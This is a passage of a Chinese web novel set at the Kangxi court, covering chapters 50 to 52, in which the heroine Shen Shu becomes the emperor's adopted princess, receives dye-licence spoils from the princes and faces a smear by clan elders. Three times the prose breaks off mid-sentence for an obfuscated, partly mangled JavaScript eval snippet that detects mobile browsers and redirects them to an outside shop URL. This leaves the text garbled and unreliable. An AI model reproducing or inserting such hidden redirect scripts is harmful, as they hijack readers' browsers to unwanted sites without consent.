里积累的焦煤卖完之后,就卖无可卖了。 不仅如此,自己不炼焦,煤气也没了,意味着煤气灯也没得卖。 总不能让人家进京后来喝西北风吧,所以这事必须得说。 “张大人,不知如意灯的事情,皇上是什么打算,民间还能贩卖吗?” 张廷玉知道八阿哥的意思是如意灯也要收归内务府,不过此事他还没有请示皇上。 听沈姝问起,他便如实说道:“此事尚需皇上定夺。” 说完之后立刻又问道:“沈小姐你可是有什么想法” 做生意的想法没必要隐瞒,沈姝直接说道:“民女想请张大人问问皇上,若是民女想做如意灯的生意,铸造局能不能免费提供石碳之气?” 原本这煤气灯的生意是稳赚不赔的搭头,现在染料交上去了,她又不能为了煤气灯专门去炼焦。 那样成本就太高了,所以只能这样。 “……” 让铸造局免费提供,张廷玉有些无语,主要是觉得沈姝这语气有点儿理所当然。 还有,这总得有个合适的理由吧? “沈小姐,你进献染料之后,皇上必不会亏待你,你又为何执意要做如意灯的生意呢?” “当然是想要赚钱啊!” 沈姝也很无语,做生意当然是为了求财,不然呢? “……” 张廷玉不得不把话说的更明白些,“沈小姐,经商之女,毕竟是少数。我的意思是,皇上可能不太喜欢女子经商。” 这么说,其实是在提醒沈姝,不要跟皇上对着来。 可沈姝才不管这些呢,皇上不喜欢的多了,难道她还全都得顺从啊! “那劳烦张大人跟皇上说下,民女喜欢做生意。再说民女捣鼓染料,原本就是为了做生意赚钱。 若是不让做生意,哪里还能提起劲儿来折腾这些?” 这话张廷玉听明白了,意思就是不让做生意,就想要撂挑子。 感觉这像是在要挟,可以沈姝的脾气,他不能直接硬劝,于是换了种问法。 因为他实在是害怕到时候皇上不同意,沈姝再闹出来什么幺蛾子,她闹出来的幺蛾子太大,有点儿吓人! “我可以帮忙将你的意思转达给皇上,可是沈小姐,铸造局毕竟是官家的,若是皇上不允许,你打算怎办?” 这真是个好问题,沈姝也考虑过。 煤气灯的生意也不是非做不可,她担心的是万一再弄出来个什么新花样,又被皇上给抢走了。 所以沈姝直接说道:“张大人,说实话民女或许能弄出来其他可以贩卖的物品。 但总不能像染料、肥料、煤气灯一样都归内务府吧?” 张廷玉觉得沈姝是对自己的东西都归内务府而有所不满,可学成文武艺,不都是要货与帝王家的吗? 钱财再多,又有何用? 即便是一方巨贾,在权势面前也只是待宰的羔羊! 他不信这个道理沈姝不懂,所以执意如此是为什么呢? 还有一个重要的问题,“沈小姐,不知你所说的其他物品是什么?” “不知道啊,这不是没搞清楚能不能做生意,现在还没心情去折腾!” 沈姝的回答很是理直气壮,张廷玉颇为无语。 “那我禀告皇上之后再给你答复,其他事情,希望你能尽心安排。” “好,劳烦张大人您了。” 从沈姝这里出去后,张廷玉便进宫汇报去了。 50.第 50 章 沈姝的有些话,张廷玉不能原封不动的转述给皇上。比如那些对染料、肥料等归内务府的不满之言。 他需要做的是居中调和,而不是故意的放大矛盾,因为想知道沈姝手里还有没有其他于国于民有利的东西。 所以张廷玉只转述了两方面的意思,其一是沈姝想做如意灯的生意。 其二是即便不做如意灯的生意,其他生意也可以,重点转达了她想要做生意的心愿。 然而康熙还是听出来了这话中的潜在之意思,没好气的说道:“这意思是朕若不允许她做生意,她还想撂挑子不干了?” 张廷玉见状便替沈姝解释了几句,“皇上,微臣以为沈氏应该不是此意,只是她对于经商一事颇为执着。” “颇为执着?朕看她是胆子不小!” 康熙觉得沈姝之所以如此,就是她觉得被亏待了,心有所怨。 张廷玉没敢搭话,其实他真觉得沈姝的胆子不是一般的大。 “朕还能亏了她不成?” 康熙是有点儿生气,但对沈姝却远远谈不上厌恶。 没错,她总是做一些让人生气的事情,可寻常人轻易也做不到这些。 温婉柔顺这些统统与她无关,可到底还算是有情有义而且聪慧有才。 所以对于沈姝,康熙还是包容居多。 之前已经着张廷玉查过,沈姝乃山西平阳人氏,父母双亡,乃孤女。 对于她这样的出身,为了收为己用,认个义女比较恰当。 原本打算过几天就让李德全去宣旨,既然沈姝等不及,康熙直接对张廷玉说道:“拟旨,沈氏为朕之义女,封和硕顺和公主。” 顿了顿又道:“日后内务府经营染料、如意灯所得,分一成于她作为体己钱。” 张廷玉之前并不知道皇上对沈姝会如何赏赐,只知道应该不会薄待了她,可怎么也没想到居然会直接封她为和硕公主! 公主的封赏,细数起来也不算是特例。 后汉时,蔡伦因造纸技艺获封侯;而沈姝的功绩并不逊于此,得封公主也说得过去。 譬如芝兰玉树,欲使其生于庭阶耳。 认为义女,也算是把人收为己用。 《清典礼·盛典》曰:公主为中宫所出,封固伦公主;妃嫔出,封和硕公主。 固伦公主品秩著视亲王,和硕公主品秩著视亲王。 即便圣谕并没有赐沈姝这位半路出家的公主入玉牒,只能算作是半个公主。 可这也是公主的身份,是皇上给予的恩宠。 不仅如此,竟然还特令内务府分一成利钱给她作为体己钱…… 要知道这笔钱可不是一个小数目! 张廷玉知道根据规矩,内务府给予固伦公主的俸禄为每年四百两白银和四百斛米,而和硕公主次之,为每年三百两白银和三百斛米。 可无论是染料还是如意灯所得,即便是一成也远比这些要高的多。 张廷玉有些看不明白皇上的意思,要说是真视为女儿吧,不入玉牒。 可要说是不看重吧,体己钱赏赐这么多…… 这可真是圣心难测! 张廷玉还知道十四阿哥被圈禁一事与沈姝有关,思及传言中十四阿哥与沈姝之间的关系,他能猜到皇上认义女的目的是什么,所以才更觉得皇上的心思让人琢磨不透。 不过皇子之间的争斗与他无关,他只忠君! 心里想了很多,但不耽误写字,张廷玉拟很快拟完圣旨。 看了一眼张廷玉拟的圣旨,康熙朝李德全吩咐了一通,“去宣旨的时候带上两个教养嬷嬷,好好教教她规矩,还有去让钦天监就近挑一个合适的吉日行册封典礼。” “嗻。” 李德全拿着圣旨领命去挑选教养嬷嬷了,他可是知道沈姝的脾气,这教养嬷嬷得找俩好相与的,不然到时候肯定是皇上头疼。 张廷玉知道皇上既然给了沈姝一成的份子钱,那染料还有灯具的生意肯定是要全归内务府。 但他还有事情需要禀告,于是接着说道:“皇上,顺和公主得您如此宠爱,必定是感恩不已。 微臣此前曾听公主提及其还有其他新鲜玩意,说是想要以此来做生意,请求皇上恩准。” “她就非要自行做生意不可?她的新鲜玩意是什么?” 康熙闻言皱眉不已,这是什么毛病? “这个,微臣不知……” 张廷玉不太好替沈姝找理由,她那意思可是不让做生意,就要直接摆烂了。 看张廷玉支支吾吾这样,康熙不耐烦的问道:“她到底是怎么说的?” 张廷玉无法,只得尽力的替沈姝美化一二,“微臣听公主的意思好像说的是做生意能使得她产生探究之灵感,如若不做生意,就难以有灵感。” 康熙简直气笑了,“这意思不让做生意,她就什么都不想探究? 朕怎么听着像是在要挟啊!” 张廷玉不得不硬着头皮继续替沈姝说好话,“公主是心直口快了些,她对经商一事颇有执念。” 康熙也想知道沈姝到底能折腾出来些什么,直接说道:“做生意的事情,让她自己来与朕言明。” 这才多久,张廷玉都会替沈姝说好话了。 康熙觉得听张廷玉在中间这么说,还不如让沈姝自己说更好。 而沈姝接到圣旨,脸上装作激动的模样,心里并不感到意外,因为之前四阿哥已经透过口风。 对于公主的身份以及一成的分成,她觉得这也算是自己凭能力得到的报酬。 至于跟皇上之间的关系,与其说是什么义父义女,倒不如说是工作中的上下级关系。 至少沈姝不会真把康熙当爹,她想康熙也不会真把她当女儿。 宣旨之后,李德全笑呵呵的说道:“顺和公主,皇上对您很是看重,特意让陈嬷嬷和常嬷嬷教导您宫里的规矩。 册封典礼时宗室贵妇还有后宫的娘娘们都会观礼,您可得好好学着。” 居然还要学规矩,沈姝有点儿头疼。 “李公公您知道的,我还有事情要做,可能没有太多时间来学,不过会尽量。” 一听这话,李德全感到头疼。 在他看来,规矩可比做事更重要! 但皇上对肥料的事情很重视,他也不能直接说为了学规矩可以不用做事。 于是便委婉的提醒了一句,“那您闲时可要学着,要是礼仪上出了什么差池。 即便是皇上宽厚不会责怪,可也有损您的仪态呀!” “谢谢李公公提醒。” 沈姝笑了笑,没有再说其他。 李德全没有过多停留,只留下这两位嬷嬷。 “奴婢见过顺和公主。” 两位嬷嬷先是行了礼,而后开始从衣服讲起规矩,“公主,您以后进宫需要着宫装,奴婢先给您量体裁衣。 本朝公主的朝冠,皆冬用薰貂,夏用青绒。顶皆上衔红宝石,朱纬上皆周缀金孔雀五,后金孔雀一,垂珠三行二就,中间全衔青金石结一,末缀珊瑚。 垂绦末亦缀珊瑚,青缎带……”(注) 从衣服到礼仪以及称呼,包括走姿、坐姿、站姿等等,听的沈姝头晕。 主要是她压根就不想了解这些繁文缛节,麻烦的是等她的花盆底鞋制作好后还要穿着开始练,想想都觉得浪费时间。 但沈姝也不能直接拒绝学,公主的身份比民女要有用多了。 第一天沈姝耐着性子学了一个时辰,第二天她就借口要做实验,等忙完再学。 要不是张廷玉拜访,她能一直躲在实验室里,做实验可比学什么规矩有趣多了。 张廷玉这次来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091388|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说主要是转达皇上的一句话,“顺和公主,皇上说做生意的事情需要您亲自进宫去说。” 既不同意,也不拒绝,这就代表着可以谈。沈姝点点头,“晓得了,多谢张大人。” 随后张廷玉又说道:“内务府那边的人选近日便会挑选出来,您看是不是要提前先改造好铸造局的炉子?” “要的,就从明日开始吧。” 制作染料要有原料,不改造焦炉就没办法收集原料,这事当然是要提前做。 沈姝打算今天就先进宫敲定做生意的事情,因为再过段时间栓子应该就要带着人回来了。 从沈姝这里得了准信,张廷玉很快就去安排了,因为改造炉子还涉及到石碳之气的收集,所以八阿哥那边也在催促。 下午,沈姝进宫。 这次不用李德全来带,凭着圣旨直接就进了。 “儿臣给皇阿玛请安。” 见沈姝虽未着宫装,但已经改了口,看来是已经开始学规矩了。 康熙点点头,“起身吧,这么急着来见朕有何事?” 这个问题不需要绕来绕去,沈姝开门见山的问道:“皇阿玛,您到底允不允许儿臣做生意啊?” “你来就是专门问这个的?” 康熙故意沉着脸说道:“本朝皇子不允许经商,这是规矩。” 沈姝则是直接问道:“那皇阿玛不能给儿臣一个特许吗?” 这话直接到康熙都忍不住说了沈姝一句,“你倒是跟朕一点儿都不客气,还直接提起了要求!” 什么提要求? 沈姝表示否认,“儿臣是在恳求皇阿玛。” 康熙闻言挑眉,“那朕又为何要应你?” 这么问的意思就是需要一个说得过去的理由,沈姝想了想回答道:“儿臣觉得经商乃趣事,由此可了解各人之所需,为此想研究些新玩意。” 康熙看着沈姝,觉得这个理由找的倒是冠冕堂皇,不过他不在意这个,而是提醒道:“顺和,如同染料、肥料等,必须要交由朕来安排。 之前因为染料闹得沸沸扬扬,若是由着你的性子来,这天下怕不是要乱了!” 明白了,沈姝点点头,“儿臣晓得,皇阿玛的意思是若是寻常东西即可贩卖。 那待儿臣想好了要卖什么一定提前征求皇阿玛您的同意。” 康熙对此未置可否,转而却突然说道:“朕还以为你此番进宫是为胤祯求情而来。” 不久前,四阿哥已经回禀说劝服了十四阿哥。说实话,他不太信,所以不打算这么快放十四阿哥出来。 沈姝觉得这是在试探自己,于是斟酌的说道:“儿臣为妹,自然是担忧十四哥,但却知皇阿玛此番是希望十四哥好生养伤。” 从沈姝脸上,康熙看不到什么端倪,但这个回答是他想要的。 “你很聪明。” 他淡淡的说道:“朕希望你们兄妹之间能和谐相处。” 沈姝露出毕恭毕敬的表情,“儿臣谨记皇阿玛的教诲。” 之前已经猜到皇上的意思,所以她不能直接主动来求情。 既然皇上问了,那就明明白白的撇清关系,因为这是他想要看到的。 只有这样,才对十四阿哥更好。 沈姝希望,十四阿哥也能明白这个道理。 “跪安吧。” 打发走了沈姝,康熙打算等她的册封典礼过后再把十四阿哥放出来。 这么做是希望他能好好想清楚,以后做事不要如此莽撞。 当然,此事太子也有错。 但康熙觉得已经责骂过太子,太子应该也能自省。 现在这事算是解决了,以后无论是太子亦或是十四阿哥,都不应再因沈姝而生龃龉。 不过这只是康熙的一厢情愿,太子胤礽此时正在设法报复沈姝呢! 51.第 51 章 李德全前来宣旨后不过一两天,册封典礼还没有举办,消息灵通的人就已经知晓了。 沈姝摇身一变居然突然成为了皇上义女,这事很意外,也很稀奇。 皇上又不是没有女儿,女儿一大堆! 再说即便无女也应当是从宗室过继养女,义女算是哪门子的事? 不知道十四阿哥擅闯太子府之事的人,一时半会儿的确实会对此感到不解。 比如八阿哥他们,就有点儿猜不透这是为什么? 不过他知道皇上看中沈姝,否则不会如此。原本染料还有如意灯的事情,他是想自行安排的,可现在沈姝成为公主,八阿哥觉得这事还是跟她说一下比较合适。 所以八阿哥带着九阿哥一同来找沈姝以示恭贺,顺便谈一下此事。 寒暄客套之后,八阿哥才转入正题,“皇阿玛让我暂领内务府事宜,不过我想染料的事情还是要跟你先商量一番。 内务府所辖皆为皇商,不知顺和你可知皇商之事?” 对此,沈姝确实不太了解,摇头说道:“还请八哥解惑。” 八阿哥从皇商的由来开始说起,“当年世祖曾在紫禁城设宴款待八大晋商家族,封官授爵,并召之入籍内务府,御封为“皇商”。 现如今江宁织造等三大织造府,便是为宫廷供应织品和绸缎的皇商,其共同经营江南地区的丝织产业。 而染料一事,不仅事关织造府,还涉及其他棉麻布商。 所以我的意思是织造府作为皇商当然是可以使用新式染料,但除此之外还需要给其他商贾发放一些名额,不知顺和你意下如何?” 要是按沈姝的意思,肯定是不设门槛,谁想买都可以。 可听八阿哥这意思,还想要设置一下门槛,搞什么准入制度。 内务府听起来像是大清国的国资委,沈姝不了解内情不好直接对这种垄断式的准入制度说三道四。 但这么一来,她恶心那些商贾的作为算是等于白搭了。 因为内务府要限售染料,学会了染色没有染料也没用。 说实话沈姝很不希望这样做,可胳膊拗不过大腿。 若实在是没有办法,恶心那些商贾的事情可以作罢,但底线是无论内务府怎么折腾,布价不能比她卖的更高。 所以沈姝委婉的表达一下自己的意思,“内务府的事情我不懂,听八哥你的。 只是当时在朝堂之上,我曾与皇阿玛言明此种染料的本钱较之传统染料更低廉,所以才能使得能多百姓能穿上新衣。 所以无论各大商贾如何操作,这价钱若是变得较之前更高,怕是不妥。” 价钱的事情八阿哥自然是考虑过的,要是把布价弄的比之前更高,必定会激起民怨,到时候他会被斥责。 正是考虑到这点儿,所以才折中了一个办法,那就是在皇商之外指定商贾。 这些商贾不是皇商的身份,只是被允许使用新式染料之人。 而之所以如此设置,也是听从了九阿哥的意见,因为可以趁机敛财。 天下商贾如此之多,这名额却没有那么多,而想要获得名额,自然就要使钱。 现在沈姝变成了半路出家的公主,所以这好处八阿哥觉得需要分她少许。 一来是为了堵她的嘴,二来是为了拉近双方之间的关系。 这事也是之前跟九阿哥商量过的,此次来就是为了说这个。 所以八阿哥附和的点点头,“这是自然!皇阿玛施仁政,忧心天下万民,我等为尽孝心亦要为皇阿玛分忧解难。 所以我跟胤禟思来想去觉得不能像往常那般由皇商们独揽此事,而是应在各地都分派一些名额,这样更方便惠及各地百姓。 至于价钱方面,需要核算之后方能定下。” 九阿哥在一旁趁机表明了来意,“八哥办事向来体贴妥当,正是顾及你之前曾广而告之的要教授其他商贾染色之技,所以才说这名额的确定也得听听你的意见。 想必你也有需要做人情的时候,你看京畿附近你需要多少名额?” 其实他已经大概核算过新式染料的成本价,真的是极其低廉,只有传统染料的十之三四! 所以怪不得那些商贾们要如此弹劾沈姝,在弹劾失败后竟然还敢汇聚闹事,这可真是要命的事情啊! 而现在手握这些商贾命脉的人是八阿哥,经此一事他们必定能敛获巨多。 谁能想到染料一事居然还有如此作为? 九阿哥真是感叹不已! 话说到这份上,沈姝这才听明白八阿哥和九阿哥的来意,原来是来给自己分好处费的啊! 说实话她还真需要这种特许经营许可证,之前还跟顺子说想要从中物色几个能够合作的商贾。 没想到八阿哥和九阿哥居然还能从中挖掘出这种“商机”,沈姝真是感慨不已! 众所周知,后世不少行业都是特许经营,而想要获得这种资格,说实话需要费点儿事。 某些极赚钱的行业,准入门槛很高,想要获批还需要有一定的门道。 八阿哥居然深谙此道,真是出乎沈姝的意料! 她已经可以想象得到,凭借着内务府八阿哥此番想必是会趁机捞上一把。 原来时间前后推个几百年都一样,这种事情真是屡见不鲜。 沈姝笑着把主动权又转给八阿哥,“那便多谢八哥和九哥了,端看八哥这边能均出来多少,我全凭八哥和九哥安排。” 听沈姝这么说,八阿哥随之就是一番体贴入微的话,“不瞒你说,据探查京畿附近原有大小棉麻丝绸染坊共计四十家,所以我打算按此数量来摊派名额。 又想着之前那些掌柜们冒犯了你,当然要为你出出气,所以分予你二十个名额随你怎么处置,你看如何?” 八阿哥和九阿哥对沈姝这番态度都很满意,其实他们也怕沈姝狮子大开口,这样难免会有些伤和气。 来之前,他们自然是商量好的,底线就是京畿地区分出来一半,也就是二十个名额。 至于其他地方,那就与沈姝无关了。 这二十个名额算起来也不少钱呢,要知道风声放出来后,一个名额商贾们至少愿意出一二百两。 因为若是不愿意舍些许小财,那以后这生意就彻底被排挤出去了! 一二百两对于商贾来说,不过是九牛一毛。而此乃积少成多之事,整个大清国算下来,至少在十万两之多! 不得不说,八阿哥就是会说话,沈姝听罢点点头,“多谢八哥体谅。” 八阿哥他们能从中赚多少钱这事她懒得管,也管不了。 只要能替换掉京畿附近一半的商户,她就舒心些。 这事就算是定下了,离开沈姝这里后,九阿哥感慨了一句,“我看她可比十四弟上道多了!” 八阿哥也是这么认为的,十四阿哥虽然是跟他们一心,可有时候着实是有些死心眼。 这事要是跟他说,八成是要替沈姝鸣不平,觉得他们给的太少。 其实沈姝不是不在乎钱,而是不想用这种方式赚钱。她还有其他赚钱方法,没必要来薅这些商贾的羊毛。 八阿哥他们离开后,沈姝唤来顺子大概说了一下染料的事情又交代了一番,“咱们手里的这二十个名额,你看那些前来学艺的人之中哪些比较靠谱可以直接给他们,没必要再收钱。 你们要维护好与这些人的关系,咱们要报仇就要有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099744|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一定的人脉关系网。” 一听到报仇的事情,顺子便忍不住的问道:“报仇一事,您的意思是?” 现在沈姝的身份水涨船高,他们兄弟简直快要高兴死了。 没想到自己居然还有能直接攀上皇亲国戚的时候,看样子离大仇得报也不远了! 然而报仇的事情,沈姝觉得不能操之过急,她不知道通过向康熙告状的方式来报仇,是否可行? 一是她不确定自己与噶礼谁在康熙心中的分量更重。 二是即便能逼迫康熙定噶礼的罪也未必是她想看到的结果。 因为她想要噶礼以命抵命,所以必须要找一个合适的机会! “这事不急,等你们在京城混熟了,可以先不着痕迹的先打探一下他家里的情况。 诸如他家里都有什么人,这些人都有什么喜好等。除此之外,不要轻举妄动,一定要谨慎行事。” 虽然不知道沈姝为什么要这么安排,但顺子并没有多问的就应下了,“您放心,我们都听您的,绝对不会擅自行动,也一定会小心行事不惹人怀疑。” 除此之外,沈姝还说了煤气灯的事情,“内务府应该是要把如意灯连同染料的生意全都收走,等栓子带着你们的家人过来后,先把咱们积攒的焦煤卖出去。 至于以后做什么生意,我正在考虑,你们先别急。” 顺子十二分的信赖沈姝,笑着保证道:“哎,我们能得您照顾已经是祖坟都冒青烟了! 您放心,等他们来了之后,我跟大哥商量一番立刻安排人手把焦煤都卖掉!” 八阿哥他们走后的同一天,四阿哥也派人来了,来人是他的贴身小厮苏培盛。 苏培盛是带着任务来的,他先是代四阿哥向沈姝道贺,接着又递上去一封信,“这是我们爷的亲笔信,嘱咐奴才交给您。” 沈姝打开一看,上面就两句话。 “我已劝解十四弟,想必他已经明了。 并已禀明皇阿玛,仍待皇阿玛消气方能放人。” 后面署名为“胤禛”。 这字写的不错,遒劲有力。 看完之后沈姝抬头说道:“替我谢谢四哥。他的伤势可有好转,若是有我能帮上忙的地方还望四哥不要见外。” 苏培盛笑着说道:“我们爷的伤并无大碍,让您莫要忧心。” “那就好。” 对于四阿哥,沈姝的心情有些复杂。 上次丁炳先的事情他帮了她,这次又直接救了她。 再这么下去,任务不好完成啊! 而苏培盛看着沈姝,接下来要说的话让他自觉有些尴尬,“公主,我们爷确实有件事情需要您帮忙……” 沈姝好奇的问道:“什么事?” “是这样的……” 苏培盛都替自己主子感到不好意思,这么大个人了,还问人家要东西吃! 但这是特意嘱咐过的,支吾着也得说。 “就是上次我们爷生辰时,您送的那个礼物……我们爷最近胃口不太好,所以想看看您能不能再帮忙做一个?” “可以,我做好了让人送过去。” 沈姝倒是没有多想,这也不是多大个事。 至于四阿哥喜欢吃蛋糕,也没有什么奇怪的。后世喜欢吃蛋糕的人多了,要不然怎么到处都是蛋糕店! “哎哎,那有劳公主了。” 苏培盛心道终于把事情办好了,幸好没被拒绝,不然他都不好意思多说。 除了这几个阿哥,再无其他人前来拜访。 沈姝便开始着手焦炉改造之事,直到册封典礼之前,山西那边来人了。 来的不是丁氏兄弟的家人,而是她的同族长辈! 52.第 52 章 面对意外来客,沈姝立刻就警觉起来,怀疑这背后是有人在打着什么注意。 否则怎么可能有这么巧的事情,沈氏的族人又怎么能够精准的找到千里之外的她? 但尽管如此,她也没有给这些人好脸色看。 因为,他们不配! “你们跑这么远过来底想要做什么?” 见沈姝一看到他们连个笑脸都没有,而且言辞间也极为冷淡。 沈氏的族长用拐杖戳着地,厉声呵斥:“沈氏,你就是这么对长辈说话的?” 沈姝不屑的哼了一声,“有话直说,别装什么长辈,你配吗?” 当初若不是这些人想要吃绝户逼迫原主热孝里去做妾,她也不至于走投无路的要跑来京城告状。 就这些腌臜货,哪怕是明知背后有人算计,沈姝也不可能委曲求全! “你、你……反了你!” 沈氏族长心里是既生气又窃喜,本来就是有人专门请他过来闹腾的。 现在沈姝一点儿面子都不给,反倒是给了他理由。 再怎么说,他也是长辈,不孝可是大罪! 而他的目的,就是要把沈姝的名声搞臭。 沈姝不想同这些人浪费时间,直接朝六子说道:“送客。以后看好了,别让什么阿猫阿狗的混进来,我沈姝与平阳沈氏不是亲戚!” 又不是说不赶出去他们就不会作妖,所以赶出去更省事。 随便他们怎么做,她倒想看看。 把人赶走之后,沈姝还交代顺子让派人跟着沈氏的族长,看他们此番来京到底想怎么兴风作浪。 对于这背后的指示之人,她有所猜测,要么是太子要么是那些商贾。 除了这些,她应该是没有其他明面上的仇人了。 两天后顺子过来禀告,脸色不太好看,“公主,那两人住在客栈里,没有人去见他们,但……” 沈姝微微皱眉,“有话直说。” 顺子这才支支吾吾的说道:“外面茶馆里有说书人正在说您…… 可他们那是在编排您,当不得真的!” “哦?是怎么说的?” 沈姝觉得这次背后之人的手段颇为高明,还知道利用孝道这张牌来打舆论战。 虽然沈姝的语气和脸色都很平静,顺子看不出来她的喜怒。但也不敢原话学回来,就只是简单的说了一下。 “就是说您不孝敬长辈,还说皇上不应该封您为公主之类的话。” “知道了,那两个人不用跟了。” 沈姝叹了口气,看来这次对方准备的是很充分,原来这就是沈氏族长的用途! 顺子觉得这么放任下去也不是个事,于是提了个建议,“您看咱们是不是再把那老人家请回来跟他好好说道说道,让他去澄清澄清?” “不用。无需理会他们。” 沈姝断然拒绝,她不接受这种威胁。 说不定沈氏族长还在客栈里等着她去俯首做小呢,想得美,那让他干等着吧! 但对于如何解决眼前的局面,沈姝表示自己无能为力,也不想费什么劲儿。 因为她没有能力堵住所有人的嘴! 反正舆论酝酿到一定程度,康熙一定会知道,到时候再说。她觉得这件事的关键在于皇上,其他的倒是其次。 见沈姝无动于衷,顺子虽然着急,可也没有办法。 不过眼见她不慌不忙看似已经有应对之策,他心里还算是踏实了些。 不消几天,在茶馆说书先生孜孜不倦的宣传之下,沈姝的名字已经响彻四九城的大街小巷。 若按后世的标准,她绝对算是京城本地热搜榜排名第一的风云人物! 有人在幸灾乐祸,比如十四福晋。 也有人为她担心,比如四阿哥与八阿哥他们。 四阿哥和八阿哥他们自然也听到了风声,只要不傻的,都知道这事肯定是有人在故意针对沈姝,目的就是为了败坏她的名声。 八阿哥最先找上门来,他觉得此事像是太子所为。 而太子所要针对的,就是他想要拉拢的。 尤其是沈姝,八阿哥还是想要保住她“公主”的身份。 “现在外面说的你的族人,到底是怎么回事?” 既然八阿哥问到,沈姝也不隐瞒,直接说道:“他们应该是被人专门弄过来的,我与他们的关系并不好,也不想认他们。” “你这样很是不妥。” 搞不明白沈姝是怎么想的,八阿哥劝道:“皇阿玛看重孝道,我猜测背后之人明显是想要宣扬你的不孝之名进而引得皇阿玛厌恶,说不定目的是想要使得皇阿玛撤回对你的封赏。 现在舆论已起,你必须要尽快解决此事。 即便是跟族人之间有龃龉,也得忍耐下去,不能让他们来证实你的不孝。 若是不能尽快解决,想必很快御史便会弹劾于你。” “多谢八哥提醒,可是我不想。皇阿玛圣明,难道就不问青红皂白吗?” 八阿哥所说的只是正常的解决途径,可是沈姝真的不想,她就咽不下这口气。 什么孝道? 是辈分高、年纪大就能肆意的以此来逼人? “顺和!你不要任性,听我一句劝好不好?” 八阿哥是真不知道沈姝到底在闹什么,皇上就是再圣明也要顾及这甚嚣尘上的舆论汹汹! 再说皇上断事很多时候并不问什么道理,而是要看心情。当然这话他不能直接说出来,那是大不敬。 面对八阿哥的苦口婆心,沈姝依然摇了摇头,“八哥,我想看看皇阿玛会如何处置此事。” 对,她就是想知道对于自己这个便宜的女儿,康熙的包容度有多大? 孝道的帽子是巨大无比的口袋,什么都能往里装。 她可不想以后被人随随便便的用这个来拿捏,至少也得让康熙这个便宜爹知道,她可不是那种又孝又顺的乖乖女。 这就是一种博弈,虽然是有风险,但沈姝想试试,也必须要试试。 不试出来以后她怎么知道应该如何摆正自己的位置? 但这话也不能直接说给八阿哥听,所以沈姝不愿意过多解释。 “你……” 八阿哥觉得自己真是白费口舌了,沈姝这是油盐不进! 算了,劝不住,不劝了。 “你,好自为之。” 貌似把八阿哥气走了,沈姝表示这不是她的本意。 可她就是这样的人,算了,无所谓,没必要多解释。 八阿哥离开后,四阿哥也过来,这次他是亲自登门拜访。 四阿哥倒是没有先劝说,而是问道:“外面的舆论你应该也知道了,打算如何应对?” 沈姝没有直接回答这个问题,而是说了一句,“我还以为你也要来劝我尽孝呢!” 听这话音儿,看来是已经有人劝过了,没劝成。四阿哥知道沈姝的性子有些叛逆,不顺着她怕是很难劝得动。 所以他压根就没打算一开始就这么开口。而是顺着她的话茬说道:“我知道你肯定是已经有了应对之策,所以想来看看有没有什么需要帮忙的地方。” 哎呀? 真没发现这人也有会说好听话的事情,沈姝看着四阿哥上下打量了几眼。 四阿哥被瞅的有些莫名,还有些不自在,不禁开始胡思乱想,是不是自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112071|145802||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思已经被发现了? 他不否认自己是心悦沈姝,只是……只是不知道应该如何开口。 因为从一开始双方之间的身份就很尴尬,现在又变成了兄妹,依然不是可以表明心意的时候。 想到这里,四阿哥率先开口打破了沉默,“怎么了?可是我有什么不妥当之处?” “没有啊!” 沈姝摇摇头,看在四阿哥好心来帮忙的份上,没有故意的说些阴阳怪气的话来激怒他,转而说了两句好听话,“就是觉得你今天看起来很精神,伤口怎么样了? “并无大碍。” 四阿哥不想沈姝担心自己的伤势,所以还是这句话。 上一次让苏培盛过来,隔日她还真的派人送来了蛋糕,他还挺高兴的,想一直维系着这种友好的关系。 正是因为关心,所以才会专门跑过来问问她到底想要做什么。 四阿哥不相信沈姝真的就毫无对策,但又知道她这人做事一向是手段激烈的很,是怕她会惹出来什么麻烦。 所以他再次问道:“我想不出几日,御史应该会弹劾你,可是想好了要如何应对?” 沈姝摊了摊手,“束手无策。” 四阿哥看着沈姝,不禁开始皱眉,“这是为何?” 沈姝叹了口气,这事确实不好办,所以她才想趁机来试探自己在康熙心中的份量。 事实就是如此,没有什么好隐瞒的,既然四阿哥问起,她就随口解释了一番。 “那人确实是沈氏的族长,不过我的祖父临终前已经写了断亲文书。 但文书已经被族里毁了,所以现在是没有证据,全凭他们怎么说。” 事实就是原主的祖父临终前怕孙女被吃绝户,自书了断亲文书。 然而没有用,当原主拿出来后就被族里抢走当面撕毁了。 所以沈姝手里什么都没有,也只能靠一张嘴。这种情况下,信谁不信谁,那不是全靠听的人? 听沈姝这么说,四阿哥顿时觉得此事棘手。但却没有劝她委曲求全的去求沈氏族长,因为他知道,她不愿意。 她要是愿意,根本不用旁人提醒! 而不愿意的原因,并不难猜。 